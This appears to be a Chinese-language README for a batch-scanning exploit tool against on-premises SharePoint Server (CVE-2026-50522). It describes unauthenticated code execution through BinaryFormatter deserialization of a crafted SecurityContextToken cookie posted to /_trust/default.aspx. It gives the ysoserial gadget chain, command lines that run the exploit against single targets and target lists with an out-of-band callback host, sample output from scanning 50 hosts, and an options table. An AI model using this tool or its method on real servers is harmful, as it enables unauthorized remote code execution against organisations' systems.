通过 SecurityContextToken Cookie 反序列化实现 SharePoint Server 未经身份验证的远程代码执行
针对本地部署的 Microsoft SharePoint Server 的 CVE-2026-50522 批量扫描漏洞利用工具。利用 /_trust/default.aspx WS-Federation 端点中不安全的 BinaryFormatter 反序列化,通过精心构造的 SecurityContextToken cookie 实现未经身份验证的代码执行。
注意: 此项目包含
ysoserial,这是一个知名的渗透测试工具,因此你的防病毒软件可能会在下载时将其标记或隔离。
ysoserial.exe 使用 TypeConfuseDelegate gadget 生成 BinaryFormatter 序列化负载Invoke-WebRequest 向带外回调 URL 发起请求SecurityContextToken XML 结构中RequestSecurityTokenResponse(WS-Federation)中wresult 参数被 POST 到 /_trust/default.aspxrequests 库python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
路径模式(默认):
http://YOUR_ID.oastify.com/10.10.10.5
子域名模式:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed
| 参数 | 描述 | 默认值 |
|---|
-t, --target | 单个目标 URL | - |
-T, --targets | 包含目标 URL 的文件,每行一个 | - |
-c, --callback-url | OOB 回调基础 URL(必填) | - |
--callback-mode | path 或 subdomain | path |
--ysoserial | ysoserial.exe 的路径 | ysoserial.exe |
-x, --proxy | HTTP 代理 | 无 |